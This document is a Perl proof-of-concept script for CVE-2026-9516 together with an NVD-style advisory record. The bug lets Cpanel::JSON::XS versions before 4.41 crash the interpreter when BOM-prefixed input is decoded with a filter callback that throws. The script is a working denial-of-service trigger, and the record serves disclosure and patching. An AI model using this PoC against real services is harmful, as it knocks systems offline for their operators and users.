CVE-2026-9516

#!/usr/bin/env perl use strict; use warnings; use Cpanel::JSON::XS (); # PoC for CVE-2026-9516 # Denial of Service via UTF-8 BOM prefixed input with throwing filter callback my $json_with_bom = "\xEF\xBB\xBF{\"key\": \"value\"}"; # Create decoder with a filter that throws exception my $codec = Cpanel::JSON::XS->new()->filter_json_object(sub { die "Intentional exception to trigger vulnerability"; # This causes croak }); # This will crash the interpreter due to pointer not being restored eval { $codec->decode($json_with_bom); }; print "If you see this message, the exploit failed.\n";

{"cve": {"id": "CVE-2026-9516", "sourceIdentifier": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "published": "2026-06-03T01:16:23.430", "lastModified": "2026-06-05T17:35:52.507", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cpanel::JSON::XS versions before 4.41 for Perl allow denial of service via UTF-8 BOM prefixed input when a decode filter callback throws.\n\nTo skip a leading 3-byte UTF-8 BOM, decode_json() advances the input scalar's string pointer past the mark with SvPV_set() and restores it only on the normal return path. When decoding aborts through a Perl exception, for example a filter_json_object callback that croaks, the restore is skipped and the scalar is left with its string pointer offset into its own buffer and a shortened length.\n\nWhen that scalar is later freed, the allocator receives an invalid pointer and the interpreter aborts. A single BOM prefixed document decoded with a throwing filter callback crashes any caller."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-755"}, {"lang": "en", "value": "CWE-763"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rurban:cpanel\\:\\:json\\:\\:xs:*:*:*:*:*:perl:*:*", "versionEndExcluding": "4.41", "matchCriteriaId": "41C09D6F-C2F2-42BF-9734-B6F7D9E02777"}]}]}], "references": [{"url": "https://github.com/rurban/Cpanel-JSON-XS/commit/dfe1b41a36caba51dc12a2917fe50285d1ffaa7b.patch", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Patch"]}, {"url": "https://metacpan.org/release/RURBAN/Cpanel-JSON-XS-4.41/changes", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Release Notes"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/06/03/5", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory", "Patch"]}]}}